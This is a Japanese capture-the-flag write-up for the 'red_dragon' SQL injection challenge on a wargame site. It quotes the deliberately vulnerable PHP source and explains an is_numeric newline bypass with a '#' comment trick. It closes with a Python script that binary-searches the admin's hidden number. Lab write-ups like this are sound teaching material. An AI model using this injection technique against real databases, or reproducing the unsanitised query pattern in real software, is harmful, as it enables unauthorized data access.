<?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\./i', $_GET['id'])) exit("No Hack ~_~"); if(strlen($_GET['id']) > 7) exit("too long string"); $no = is_numeric($_GET['no']) ? $_GET['no'] : 1; $query = "select id from prob_red_dragon where id='{$_GET['id']}' and no={$no}"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "<h2>Hello {$result['id']}</h2>"; $query = "select no from prob_red_dragon where id='admin'"; // if you think challenge got wrong, look column name again. $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['no'] === $_GET['no']) solve("red_dragon"); highlight_file(__FILE__);
特徴は以下。
- id,noを入力する。以下フィルターがある
- idは7文字以内
- noは数値であるなら、そのまま使えて、そうでないなら1が使われる
- adminのno要素とnoが等しいかを最終的に判定している
弱点はどこだろうか。
is_numeric関数は実は改行があっても無視して評価してしまう。
%0a123
というのはis_numericはtrueになる。
さて、これを使ってidの値を特定していこう。
コメントと改行文字の組合せ
idに'||no>#
を入れて、noに%0a12345
を入れる。
これでインジェクション後は
select id from prob_red_dragon where id=''||no>#' and no= 12345
こういう感じになって、1行目の#以降はコメントなので、select id from prob_red_dragon where id=''||no>12345
と解釈される。
これでnoが12345より大きいなら何らかの要素が出てくる。
後は、二分探索して、数を特定する。
import requests url = "https://los.rubiya.kr/chall/red_dragon_b787ddfe8.php" cookie = {'PHPSESSID': 'eodcti0jvp87pmvnr63hn7efq5'} def check(data) -> bool: return ("Hello admin" in data) or ("Hello guest" in data) ok = 0 ng = 1010101010 while ok + 1 != ng: md = (ok + ng) // 2 res = requests.get(url, params={'id': "'||no>#", "no": f'\n{md}'}, cookies=cookie) print(f"[+] try {md}") if check(res.text): ok = md else: ng = md print(f"[*] {ok + 1}")